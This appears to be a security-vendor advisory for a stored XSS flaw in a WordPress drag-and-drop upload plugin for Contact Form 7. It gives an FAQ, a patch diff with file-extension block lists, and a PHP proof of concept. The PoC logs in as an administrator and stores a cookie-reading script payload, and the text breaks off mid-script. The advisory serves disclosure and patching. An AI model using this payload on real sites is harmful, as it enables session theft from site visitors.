What is CVE-2026-8991?

CVE-2026-8991 is a Stored Cross-Site Scripting (XSS) vulnerability in the Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress. It allows authenticated attackers with administrator-level access to inject arbitrary web scripts via the ‘drag_n_drop_text’ and ‘drag_n_drop_browse_text’ settings.

Who is affected by this vulnerability?

This vulnerability affects all versions of the Drag and Drop Multiple File Upload for Contact Form 7 plugin up to and including version 1.3.9.7. Any WordPress site using this plugin with an administrator account is at risk.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Drag and Drop Multiple File Upload for Contact Form 7 plugin in your WordPress admin dashboard. If it is version 1.3.9.7 or earlier, your site is vulnerable.

How can I fix CVE-2026-8991?

To fix CVE-2026-8991, update the Drag and Drop Multiple File Upload for Contact Form 7 plugin to version 1.3.9.8 or later. This version includes patches that properly sanitize and escape user inputs.

What does the CVSS score of 4.4 indicate?

The CVSS score of 4.4 indicates a medium severity level for this vulnerability. This means that while it requires authenticated access to exploit, it can still lead to significant issues, including potential site compromise.

What is Stored Cross-Site Scripting?

Stored Cross-Site Scripting (XSS) occurs when an attacker is able to inject malicious scripts into a web application, which are then stored and executed when users access affected pages. This can lead to session hijacking, data theft, and other malicious actions.

How does the proof of concept demonstrate the vulnerability?

The proof of concept (PoC) demonstrates the vulnerability by showing how an attacker can log in as an administrator, modify plugin settings to inject malicious scripts, and then execute those scripts when any user accesses the affected Contact Form 7 form.

What are the implications of an exploited vulnerability?

If exploited, this vulnerability can allow an attacker to execute arbitrary JavaScript in the context of any user visiting the site. This can lead to actions such as stealing cookies, redirecting users, or defacing pages.

What measures can be taken to mitigate risks?

In addition to updating the plugin, administrators should regularly audit their plugins for vulnerabilities, limit administrator access, and implement security measures such as web application firewalls.

What should I do if I cannot update the plugin immediately?

If immediate updates are not possible, consider disabling the plugin until it can be updated, or restrict access to the plugin settings to trusted administrators only.

What is the root cause of this vulnerability?

The root cause of CVE-2026-8991 is insufficient input sanitization and output escaping for user-supplied values in the plugin settings. This allows malicious scripts to be stored and later executed in the browser.

How does the patch address the vulnerability?

The patch for CVE-2026-8991 adds proper sanitization using esc_html() for the affected settings, ensuring that any user input is safely encoded before being output to the frontend, thus preventing script execution.

Published : June 11, 2026

CVE-2026-8991: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.7 Authenticated (Administrator+) Stored Cross-Site Scripting via 'drag_n_drop_text' and 'drag_n_drop_browse_text' Settings PoC, Patch Analysis & Rule

CVE ID CVE-2026-8991

Plugin drag-and-drop-multiple-file-upload-contact-form-7

Severity Medium (CVSS 4.4)

CWE 79

Vulnerable Version 1.3.9.7

Patched Version 1.3.9.8

Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8991:

This vulnerability is a Stored Cross-Site Scripting (XSS) issue in the Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress, affecting versions up to and including 1.3.9.7. The vulnerability allows authenticated attackers with administrator-level access to inject arbitrary web scripts through the ‘drag_n_drop_text’ and ‘drag_n_drop_browse_text’ settings. These scripts execute whenever a user accesses an injected page. The CVSS score is 4.4, classified under CWE-79.

Root Cause: The root cause lies in insufficient input sanitization and output escaping for the ‘drag_n_drop_text’ and ‘drag_n_drop_browse_text’ settings in the plugin’s admin settings page. The vulnerable code is located in the file ‘drag-and-drop-multiple-file-upload-contact-form-7/inc/dnd-upload-cf7.php’. Specifically, in the function that builds the data options array (around lines 557-590), the plugin directly uses user-supplied values from dnd_cf7_settings(‘drag_n_drop_text’) and dnd_cf7_settings(‘drag_n_drop_browse_text’) without sanitization. These values are then passed to the frontend JavaScript via wp_localize_script, making them available to be rendered in the browser. The patch adds esc_html() calls around these values.

Exploitation: An attacker with administrator-level access navigates to the plugin settings page at /wp-admin/admin.php?page=drag-n-drop-upload. The attacker modifies the ‘drag_n_drop_text’ or ‘drag_n_drop_browse_text’ fields in the settings form. The payload, such as , is submitted. The plugin stores this payload without sanitization and later outputs it into the JavaScript data options. When any user (including lower-privileged users or visitors) interacts with a Contact Form 7 form that uses the drag-and-drop upload field, the malicious script executes in their browser.

Patch Analysis: The patch applies esc_html() to the output of dnd_cf7_settings(‘drag_n_drop_text’) and dnd_cf7_settings(‘drag_n_drop_browse_text’) in the data options array. Additionally, a new sanitize_callback function ‘dnd_cf7_sanitize’ is added to register_setting, which runs sanitize_text_field on all submitted settings values. This ensures that both at the point of storage and output, user input is properly sanitized and escaped. The before behavior allowed arbitrary HTML/JavaScript to be stored and rendered; the after behavior converts special characters to their HTML entities, preventing script execution.

Impact: Successful exploitation allows an administrator to inject persistent JavaScript into the plugin’s settings. This script executes in the context of any user visiting a page that uses the plugin’s file upload form. The attacker can perform actions such as stealing session cookies, redirecting users to malicious sites, defacing pages, or performing actions on behalf of the victim. Since the attack requires administrator-level access, the impact is somewhat limited but can still lead to full site compromise if the injected script targets other administrators or if privilege escalation techniques are employed.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/drag-and-drop-multiple-file-upload-contact-form-7/drag-n-drop-upload-cf7.php
+++ b/drag-and-drop-multiple-file-upload-contact-form-7/drag-n-drop-upload-cf7.php
@@ -6,7 +6,7 @@
 	* Description: This simple plugin create Drag & Drop or choose Multiple File upload in your Confact Form 7 Forms.
 	* Text Domain: drag-and-drop-multiple-file-upload-contact-form-7
 	* Domain Path: /languages
-	* Version: 1.3.9.7
+	* Version: 1.3.9.8
 	* Author: Glen Don L. Mongaya
 	* Author URI: http://codedropz.com
 	* License: GPL2
@@ -21,7 +21,7 @@
 	define( 'dnd_upload_cf7', true );

 	/**  Define plugin Version */
-	define( 'dnd_upload_cf7_version', '1.3.9.7' );
+	define( 'dnd_upload_cf7_version', '1.3.9.8' );

 	/**  Define constant Plugin Directories  */
 	define( 'dnd_upload_cf7_directory', untrailingslashit( dirname( __FILE__ ) ) );
--- a/drag-and-drop-multiple-file-upload-contact-form-7/inc/dnd-upload-cf7.php
+++ b/drag-and-drop-multiple-file-upload-contact-form-7/inc/dnd-upload-cf7.php
@@ -110,7 +110,7 @@
 					fwrite(
 						$handle,
 						"Options -Indexesnn" .
-						"<FilesMatch ".(php|phar)$">n" .
+						"<FilesMatch ".(php|phtml|phar|phpd*|cgi|pl|py|jsp|asp|aspx|sh|bash|exe|dll)$">n" .
 						"# Apache 2.4n" .
 						"  <IfModule authz_core_module>n" .
 						"    Require all deniedn" .
@@ -191,7 +191,7 @@
 	}

 	// Modify contact form posted_data
-	function dnd_wpcf7_posted_data( $posted_data ){
+	function dnd_wpcf7_posted_data( $posted_data ) {

 		// Subbmisson instance from CF7
 		$submission = WPCF7_Submission::get_instance();
@@ -229,7 +229,7 @@

 	// Hooks for admin settings
 	function dnd_admin_settings() {
-		add_submenu_page( 'wpcf7', __( 'Drag & Drop Uploader - Settings', 'drag-and-drop-multiple-file-upload-contact-form-7' ), __( 'Drag & Drop Upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ), 'manage_options', 'drag-n-drop-upload','dnd_upload_admin_settings');
+		add_submenu_page( 'wpcf7', esc_html__( 'Drag & Drop Uploader - Settings', 'drag-and-drop-multiple-file-upload-contact-form-7' ), esc_html__( 'Drag & Drop Upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ), 'manage_options', 'drag-n-drop-upload','dnd_upload_admin_settings');
 		add_action('admin_init','dnd_upload_register_settings');
 	}

@@ -245,18 +245,18 @@

 		// Array of default error message
 		$errors = array(
-			'server_limit'		=>	__('The uploaded file exceeds the maximum upload size of your server.','drag-and-drop-multiple-file-upload-contact-form-7'),
-			'failed_upload'		=>	__('Uploading a file fails for any reason','drag-and-drop-multiple-file-upload-contact-form-7'),
-			'large_file'		=>	__('Uploaded file is too large','drag-and-drop-multiple-file-upload-contact-form-7'),
-			'invalid_type'		=>	__('Uploaded file is not allowed for file type','drag-and-drop-multiple-file-upload-contact-form-7'),
-			'max_file_limit'	=>	__('Note : Some of the files are not uploaded ( Only %count% files allowed )','drag-and-drop-multiple-file-upload-contact-form-7'),
-			'required'			=>	__('This field is required.', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
-			'min_file'			=>	__('The minimum file upload is','drag-and-drop-multiple-file-upload-contact-form-7'),
+			'server_limit'	 =>	esc_html__('The uploaded file exceeds the maximum upload size of your server.','drag-and-drop-multiple-file-upload-contact-form-7'),
+			'failed_upload'	 =>	esc_html__('Uploading a file fails for any reason','drag-and-drop-multiple-file-upload-contact-form-7'),
+			'large_file'	 =>	esc_html__('Uploaded file is too large','drag-and-drop-multiple-file-upload-contact-form-7'),
+			'invalid_type'	 =>	esc_html__('Uploaded file is not allowed for file type','drag-and-drop-multiple-file-upload-contact-form-7'),
+			'max_file_limit' =>	esc_html__('Note : Some of the files are not uploaded ( Only %count% files allowed )','drag-and-drop-multiple-file-upload-contact-form-7'),
+			'required'		 =>	esc_html__('This field is required.', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
+			'min_file'		 =>	esc_html__('The minimum file upload is','drag-and-drop-multiple-file-upload-contact-form-7'),
 		);

 		// return error message based on $error_key request
 		if( isset( $errors[ $error_key ] ) ) {
-			return $errors[ $error_key ];
+			return esc_html( $errors[ $error_key ] );
 		}

 		return false;
@@ -557,28 +557,29 @@
 			return;
 		}

-		// enque script (Use native Javascript or jQuery)
-        if( dnd_cf7_settings('drag_n_drop_use_jquery') == 'yes' ){
+		// [Removed @since 1.3.9.8]
+        /*if( dnd_cf7_settings('drag_n_drop_use_jquery') == 'yes' ){
             wp_enqueue_script( 'codedropz-uploader', plugins_url ('/assets/js/codedropz-uploader-jquery.js', dirname(__FILE__) ), array('jquery','contact-form-7'), $version, true );
-        }else{
-            wp_enqueue_script( 'codedropz-uploader', plugins_url ('/assets/js/codedropz-uploader-min.js', dirname(__FILE__) ), '', $version, true );
-        }
+        }*/
+
+		// Enque Native javascript
+		wp_enqueue_script( 'codedropz-uploader', plugins_url ('/assets/js/codedropz-uploader-min.js', dirname(__FILE__) ), '', $version, true );

         // All data options
         $data_options = apply_filters('dnd_cf7_data_options',
             array(
                 'tag'				=>	( dnd_cf7_settings('drag_n_drop_heading_tag') ?: 'h3' ),
-                'text'				=>	( dnd_cf7_settings('drag_n_drop_text') ?: __('Drag & Drop Files Here','drag-and-drop-multiple-file-upload-contact-form-7') ),
-                'or_separator'		=>	( dnd_cf7_settings('drag_n_drop_separator') ?: __('or','drag-and-drop-multiple-file-upload-contact-form-7') ),
-                'browse'			=>	( dnd_cf7_settings('drag_n_drop_browse_text') ?: __('Browse Files','drag-and-drop-multiple-file-upload-contact-form-7') ),
-                'server_max_error'	=>	( dnd_cf7_settings('drag_n_drop_error_server_limit') ?: dnd_cf7_error_msg('server_limit') ),
-                'large_file'		=>	( dnd_cf7_settings('drag_n_drop_error_files_too_large') ?: dnd_cf7_error_msg('large_file') ),
-                'inavalid_type'		=>	( dnd_cf7_settings('drag_n_drop_error_invalid_file') ?: dnd_cf7_error_msg('invalid_type') ),
-                'max_file_limit'	=>	( dnd_cf7_settings('drag_n_drop_error_max_file') ?: dnd_cf7_error_msg('max_file_limit') ),
+                'text'				=>	( esc_html( dnd_cf7_settings('drag_n_drop_text') ) ?: esc_html__('Drag & Drop Files Here','drag-and-drop-multiple-file-upload-contact-form-7') ),
+                'or_separator'		=>	( esc_html( dnd_cf7_settings('drag_n_drop_separator') ) ?: esc_html__('or','drag-and-drop-multiple-file-upload-contact-form-7') ),
+                'browse'			=>	( esc_html( dnd_cf7_settings('drag_n_drop_browse_text') ) ?: esc_html__('Browse Files','drag-and-drop-multiple-file-upload-contact-form-7') ),
+                'server_max_error'	=>	( esc_html( dnd_cf7_settings('drag_n_drop_error_server_limit') ) ?: dnd_cf7_error_msg('server_limit') ),
+                'large_file'		=>	( esc_html( dnd_cf7_settings('drag_n_drop_error_files_too_large') ) ?: dnd_cf7_error_msg('large_file') ),
+                'inavalid_type'		=>	( esc_html( dnd_cf7_settings('drag_n_drop_error_invalid_file') ) ?: dnd_cf7_error_msg('invalid_type') ),
+                'max_file_limit'	=>	( esc_html( dnd_cf7_settings('drag_n_drop_error_max_file') ) ?: dnd_cf7_error_msg('max_file_limit') ),
                 'required'			=>	dnd_cf7_error_msg('required'),
                 'delete'			=>	array(
-                    'text'		=>	__('deleting','drag-and-drop-multiple-file-upload-contact-form-7'),
-                    'title'		=>	__('Remove','drag-and-drop-multiple-file-upload-contact-form-7')
+                    'text'		=>	esc_html__('deleting','drag-and-drop-multiple-file-upload-contact-form-7'),
+                    'title'		=>	esc_html__('Remove','drag-and-drop-multiple-file-upload-contact-form-7')
                 )
             )
         );
@@ -589,7 +590,7 @@
 				'ajax_url' 				=> 	apply_filters( 'dnd_cf7_ajax_url', admin_url( 'admin-ajax.php' ) ),
 				'ajax_nonce'			=>	wp_create_nonce( "dnd-cf7-security-nonce" ),
 				'drag_n_drop_upload' 	=>  $data_options,
-				'dnd_text_counter'	=>	__('of','drag-and-drop-multiple-file-upload-contact-form-7'),
+				'dnd_text_counter'	=>	esc_html__('of','drag-and-drop-multiple-file-upload-contact-form-7'),
 				'disable_btn'		=>	( dnd_cf7_settings('drag_n_drop_disable_btn') == 'yes' ? true : false )
 			)
 		);
@@ -740,7 +741,7 @@

         // Check minimum upload
 		if( $multiple_files && count( $multiple_files ) < (int) $min_file ) {
-			$min_file_error = ( dnd_cf7_settings('drag_n_drop_error_min_file') ?: dnd_cf7_error_msg('min_file') );
+			$min_file_error = ( esc_html( dnd_cf7_settings('drag_n_drop_error_min_file') ) ?: dnd_cf7_error_msg('min_file') );
 			$result->invalidate( $tag, $min_file_error .' '. (int)$min_file );
 			return $result;
 		}
@@ -783,13 +784,13 @@
 		if ( version_compare( WPCF7_VERSION, '6.0', '>=' ) ) {
 			$tag_generator->add(
 				'upload-file',
-				__( 'multiple file upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
+				esc_html__( 'multiple file upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
 				'dnd_upload_cf7_tag_generator_file_v2',
 				array( 'version' => '2' )
 			);
 		} else {
 			$tag_generator->add(
-				'upload-file', __( 'multiple file upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
+				'upload-file', esc_html__( 'multiple file upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
 				'dnd_upload_cf7_tag_generator_file'
 			);
 		}
@@ -800,9 +801,9 @@

 		$field_types = array(
 			'mfile' => array(
-				'display_name' => __( 'Drag & Drop Multiple File Upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
-				'heading'      => __( 'Drag & Drop File Upload Field - Form-tag Generator', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
-				'description'  => __( 'Generate a form-tag for a "drag & drop multiple file upload" field.', 'drag-and-drop-multiple-file-upload-contact-form-7' )
+				'display_name' => esc_html__( 'Drag & Drop Multiple File Upload', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
+				'heading'      => esc_html__( 'Drag & Drop File Upload Field - Form-tag Generator', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
+				'description'  => esc_html__( 'Generate a form-tag for a "drag & drop multiple file upload" field.', 'drag-and-drop-multiple-file-upload-contact-form-7' )
 			),
 		);

@@ -821,8 +822,8 @@
 		// Our multiple upload field
 		$type = 'mfile';

-		$description = __( "Generate a form-tag for a file uploading field. For more details, see %s.", 'contact-form-7' );
-		$desc_link   = wpcf7_link( __( 'https://contactform7.com/file-uploading-and-attachment/', 'contact-form-7' ), __( 'File Uploading and Attachment', 'contact-form-7' ) );
+		$description = esc_html__( "Generate a form-tag for a file uploading field. For more details, see %s.", 'contact-form-7' );
+		$desc_link   = wpcf7_link( esc_html__( 'https://contactform7.com/file-uploading-and-attachment/', 'contact-form-7' ), esc_html__( 'File Uploading and Attachment', 'contact-form-7' ) );

 		// Load v1 form generator template.
 		include dnd_upload_cf7_directory . '/admin/form-generator-v1.php';
@@ -896,12 +897,12 @@
             wp_send_json_error('The security nonce is invalid or expired.');
         }

-        // Get blacklist Types (marge default not allowed ext and user defined option)
+        // Get blacklist Types (merge default "not allowed" extensions and "user defined" option)
 		$blacklist_types = dnd_cf7_not_allowed_ext();
 		if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
 			$blacklist_option = explode( '|', $blacklist["$cf7_upload_name"] );
 			$custom_blacklist = array_filter( array_map( 'trim', $blacklist_option ) );
-			$blacklist_types  = array_unique( array_merge( $blacklist_types, $custom_blacklist ) );
+			$blacklist_types  = array_unique( array_merge( $blacklist_types, $custom_blacklist ) ); // merge and filter defined blacklist types and user input.
 		}

 		// Get upload dir
@@ -920,7 +921,7 @@
 		// Tells whether the file was uploaded via HTTP POST
 		if ( ! is_uploaded_file( $tmp_file ) ) {
 			$failed_error = dnd_cf7_settings('drag_n_drop_error_failed_to_upload');
-			wp_send_json_error( '('. $file['error'] .') ' . ( $failed_error ? $failed_error : dnd_cf7_error_msg('failed_upload') ) );
+			wp_send_json_error( '('. $file['error'] .') ' . ( $failed_error ? esc_html( $failed_error ) : dnd_cf7_error_msg('failed_upload') ) );
 		}

 		/* Get allowed extension */
@@ -934,18 +935,29 @@
 		$filename = wpcf7_canonicalize( $filename, 'as-is' );
 		$filename = sanitize_file_name( $filename ); // sanitize filename

+		// Validate if not ascii then will send an error.
+		if ( ! dnd_cf7_check_ascii( $filename ) ) {
+			wp_send_json_error( esc_html( dnd_cf7_settings('drag_n_drop_error_invalid_file') ) ?: dnd_cf7_error_msg('invalid_type') );
+		}
+
 		// Check unique name
         $filename = wp_unique_filename( $path['upload_dir'], $filename );

+		// Add filter on upload file name.
+		$filename = apply_filters( 'wpcf7_upload_file_name', $filename,	$file['name'] );
+
+		// Stipped icons from the filename.
+		$filename = dnd_cf7_remove_icons( $filename );
+
 		// Get file extension
         $extension = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) );

         // Validate File Types (if supported type is set to "*")
 		if ( $supported_type == '*' ) {
 			$file_type          = wp_check_filetype( $filename );
-			$not_allowed_ext    = array( 'phar', 'svg', 'php', 'php3','php4', 'pht', 'phtml', 'php5', 'php7', 'php8' ); // not allowed file type.
+			$not_allowed_ext    = array( 'phar', 'svg', 'svgz', 'php', 'php3','php4', 'pht', 'phtml', 'php5', 'php7', 'php8', 'htaccess' ); // not allowed file type.
 			$type_ext           = ( $file_type['ext'] !== false ? strtolower( $file_type['ext'] ) : $extension );
-			$error_invalid_type = dnd_cf7_settings('drag_n_drop_error_invalid_file') ?: dnd_cf7_error_msg('invalid_type');
+			$error_invalid_type = esc_html( dnd_cf7_settings('drag_n_drop_error_invalid_file') ) ?: dnd_cf7_error_msg('invalid_type');

 			if ( ! empty( $blacklist_types ) && in_array( $type_ext, $blacklist_types, true ) ) {
 				wp_send_json_error( $error_invalid_type );
@@ -956,7 +968,7 @@

 		// validate file type
 		if ( ( ! preg_match( $file_type_pattern, $filename ) || ! dnd_cf7_validate_type( $extension, $supported_type ) ) && $supported_type != '*' ) {
-		    wp_send_json_error( dnd_cf7_settings('drag_n_drop_error_invalid_file') ?: dnd_cf7_error_msg('invalid_type') );
+		    wp_send_json_error( esc_html( dnd_cf7_settings('drag_n_drop_error_invalid_file') ) ?: dnd_cf7_error_msg('invalid_type') );
 		}

         // validate mime type
@@ -974,18 +986,17 @@
                 $valid_mimes = explode('|', $supported_type); // array[png, jpg]

                 if ( empty( $wp_filetype['type'] ) || empty( $wp_filetype['ext'] ) || ! in_array( $wp_filetype['ext'], $valid_mimes ) ){
-                    wp_send_json_error( dnd_cf7_settings('drag_n_drop_error_invalid_file') ?: dnd_cf7_error_msg('invalid_type') );
+                    wp_send_json_error( esc_html( dnd_cf7_settings('drag_n_drop_error_invalid_file') ) ?: dnd_cf7_error_msg('invalid_type') );
                 }
             }
         }

 		// validate file size limit
 		if ( isset( $size_limit["$cf7_upload_name"] ) && $file['size'] > $size_limit["$cf7_upload_name"] ) {
-			wp_send_json_error( dnd_cf7_settings('drag_n_drop_error_files_too_large') ?: dnd_cf7_error_msg('large_file') );
+			wp_send_json_error( esc_html( dnd_cf7_settings('drag_n_drop_error_files_too_large') ) ?: dnd_cf7_error_msg('large_file') );
 		}

-		// Remove icons from the filename and add anti-script filename.
-		$filename = dnd_cf7_remove_icons( $filename );
+		// add anti-script filename.
 		$filename = wpcf7_antiscript_file_name( $filename );

 		// Randomize filename.
@@ -994,16 +1005,13 @@
 			$filename    = sanitize_file_name( $random_name .'.'. $extension );
 		}

-		// Add filter on upload file name.
-		$filename = apply_filters( 'wpcf7_upload_file_name', $filename,	$file['name'] );
-
 		// Generate new path + filename.
 		$new_file = path_join( $path['upload_dir'], $filename );

 		// Upload File
 		if ( false === move_uploaded_file( $tmp_file, $new_file ) ) {
 			$failed_error = dnd_cf7_settings('drag_n_drop_error_failed_to_upload');
-			wp_send_json_error( '('. $file['error'] .') ' . ( $failed_error ? $failed_error : dnd_cf7_error_msg('failed_upload') ) );
+			wp_send_json_error( '('. $file['error'] .') ' . ( $failed_error ? esc_html( $failed_error ) : dnd_cf7_error_msg('failed_upload') ) );
 		} else {

 			// Get folder uuid from the path/dir.
@@ -1069,18 +1077,17 @@
 	}

 	// Check if a string is ASCII.
-	function dnd_cf7_check_ascii( $string ) {
-		$string = sanitize_file_name( $string );
-
-		if ( function_exists( 'mb_check_encoding' ) ) {
-			if ( mb_check_encoding( $string, 'ASCII' ) ) {
-				return true;
-			}
-		} elseif ( ! preg_match( '/[^x00-x7F]/', $string ) ) {
-			return true;
+	function dnd_cf7_check_ascii( $filename ) {
+		// If the filename is empty, return false
+		if ( empty( $filename ) ) {
+			return false;
 		}

-		return false;
+		// These are ALL allowed character groups while rejecting emoji.
+		$pattern = '/^[[:ascii:]p{L}p{N}p{M}p{Z}p{P}p{Sc}]+$/u';
+
+		// Returns true if it only contains allowed characters, false if it hits an emoji/weird symbol
+		return (bool) preg_match( $pattern, $filename );
 	}

 	// Delete file
@@ -1186,7 +1193,7 @@

 	// list of not allowed extensions.
 	function dnd_cf7_not_allowed_ext() {
-		return array( 'html', 'svg', 'phar', 'php', 'php3','php4','pht', 'php5', 'php7', 'php8', 'xhtml','shtml', 'mhtml', 'dhtml', 'phtml','exe','script', 'app', 'asp', 'bas', 'bat', 'cer', 'cgi', 'chm', 'cmd', 'com', 'cpl', 'crt', 'csh', 'csr', 'dll', 'drv', 'fxp', 'flv', 'hlp', 'hta', 'htaccess', 'htm', 'htpasswd', 'inf', 'ins', 'isp', 'jar', 'js', 'jse', 'jsp', 'ksh', 'lnk', 'mdb', 'mde', 'mdt', 'mdw', 'msc', 'msi', 'msp', 'mst', 'ops', 'pcd', 'pif', 'pl', 'prg', 'ps1', 'ps2', 'py', 'rb', 'reg', 'scr', 'sct', 'sh', 'shb', 'shs', 'sys', 'swf', 'tmp', 'torrent', 'url', 'vb', 'vbe', 'vbs', 'vbscript', 'wsc', 'wsf', 'wsf', 'wsh' );
+		return array( 'html', 'svg', 'svgz', 'phar', 'php', 'php3','php4','pht', 'php5', 'php7', 'php8', 'xhtml','shtml', 'mhtml', 'dhtml', 'phtml','exe','script', 'app', 'asp', 'bas', 'bat', 'cer', 'cgi', 'chm', 'cmd', 'com', 'cpl', 'crt', 'csh', 'csr', 'dll', 'drv', 'fxp', 'flv', 'hlp', 'hta', 'htaccess', 'htm', 'htpasswd', 'inf', 'ins', 'isp', 'jar', 'js', 'jse', 'jsp', 'ksh', 'lnk', 'mdb', 'mde', 'mdt', 'mdw', 'msc', 'msi', 'msp', 'mst', 'ops', 'pcd', 'pif', 'pl', 'prg', 'ps1', 'ps2', 'py', 'rb', 'reg', 'scr', 'sct', 'sh', 'shb', 'shs', 'sys', 'swf', 'tmp', 'torrent', 'url', 'vb', 'vbe', 'vbs', 'vbscript', 'wsc', 'wsf', 'wsf', 'wsh' );
 	}

 	// Add more validation for file extension
@@ -1325,7 +1332,10 @@
 					</tr>
 					<tr valign="top">
 						<th scope="row"><?php esc_html_e('Minimum File','drag-and-drop-multiple-file-upload-contact-form-7'); ?></th>
-						<td><input type="text" name="dndmfu_settings[drag_n_drop_error_min_file]" class="regular-text" value="<?php echo esc_attr( dnd_cf7_settings('drag_n_drop_error_min_file') ); ?>" /></td>
+						<td>
+							<input type="text" name="dndmfu_settings[drag_n_drop_error_min_file]" class="regular-text" value="<?php echo esc_attr( dnd_cf7_settings('drag_n_drop_error_min_file') ); ?>" />
+							<p class="description">Default: `<?php esc_html_e( 'Minimum number of files required is {minimum}', 'drag-and-drop-multiple-file-upload-contact-form-7' ); ?>`</p>
+						</td>
 					</tr>
 				</table>

@@ -1355,9 +1365,9 @@
 					</tr>
 				</table>

-                <h2><?php esc_html_e('Use jQuery','drag-and-drop-multiple-file-upload-contact-form-7'); ?></h2>
+                <h2 style="display:none"><?php esc_html_e('Use jQuery','drag-and-drop-multiple-file-upload-contact-form-7'); ?></h2>

-				<table class="form-table">
+				<table class="form-table" style="display:none;">
 					<tr valign="top">
 						<th scope="row"><?php esc_html_e('Enable jQuery','drag-and-drop-multiple-file-upload-contact-form-7'); ?></th>
 						<td><input type="checkbox" name="dndmfu_settings[drag_n_drop_use_jquery]" value="yes" <?php checked('yes', dnd_cf7_settings('drag_n_drop_use_jquery')); ?>> Yes <p class="description"><em>Activate this option in case there are any problems with our plugin when utilizing native Javascript.</em></p></td>
@@ -1442,7 +1452,26 @@
 		}

 		// Save option
-		register_setting( 'drag-n-drop-upload-file-cf7', 'dndmfu_settings',  array( 'type' => 'array' ));
+		register_setting(
+			'drag-n-drop-upload-file-cf7',
+			'dndmfu_settings',
+			array(
+				'type' => 'array',
+				'sanitize_callback' => 'dnd_cf7_sanitize'
+			)
+		);
+
+	}
+
+	// Sanitize text field
+	function dnd_cf7_sanitize( $fields ) {
+		$sanitized = array();
+
+		foreach( $fields as $i => $field ) {
+			$sanitized[$i] = sanitize_text_field( $field );
+		}
+
+		return $sanitized;
 	}

 	// Get admin option settings

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8991 - Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.7 - Stored XSS

// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$admin_username = 'admin'; // Admin username
$admin_password = 'password'; // Admin password

// Initialize cURL
$ch = curl_init();

// Step 1: Login to WordPress admin
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $admin_username,
    'pwd' => $admin_password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);

// Check if login successful
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die("Login failed. Check credentials or URL.n");
}
echo "[+] Login successful.n";

// Step 2: Get the plugin settings page to retrieve nonce and existing settings
$settings_url = $target_url . '/wp-admin/admin.php?page=drag-n-drop-upload';
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$settings_page = curl_exec($ch);

// Extract nonce (if any) - the form may not have a nonce, but we check
preg_match('/name="_wpnonce" value="([^"]+)"/', $settings_page, $nonce_match);
$nonce = isset($nonce_match[1]) ? $nonce_match[1] : '';

// Step 3: Inject XSS payload via settings update
// The settings are stored under option name 'dndmfu_settings'
// We target 'drag_n_drop_text' and 'drag_n_drop_browse_text'
$update_url = $target_url . '/wp-admin/options.php';

// Payload for XSS
$xss_payload = '<img src=x onerror=alert(document.cookie)>';

$settings_data = array(
    'option_page' => 'drag-n-drop-upload-file-cf7',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/admin.php?page=drag-n-drop-upload',
    'dndmfu_settings' => array(
        'drag_n_drop_text' => $xss_payload,
        'drag_n_drop_browse_text' => $xss_payload,
        'drag_n_drop_separator' => 'or',
        'drag_n_drop_heading_tag' => 'h3',
        'drag_n_drop_disable_btn' => 'no',
        'drag_n_drop_error_server_limit' => '',
        'drag_n_drop_error_files_too_large' => '',
        'drag_n_drop_error_invalid_file' => '',
        'drag_n_drop_error_max_file' => '',
        'drag_n_drop_error_min_file' => '',
        'drag_n_drop_error_failed_to_upload' => ''
    )
);

curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, true);
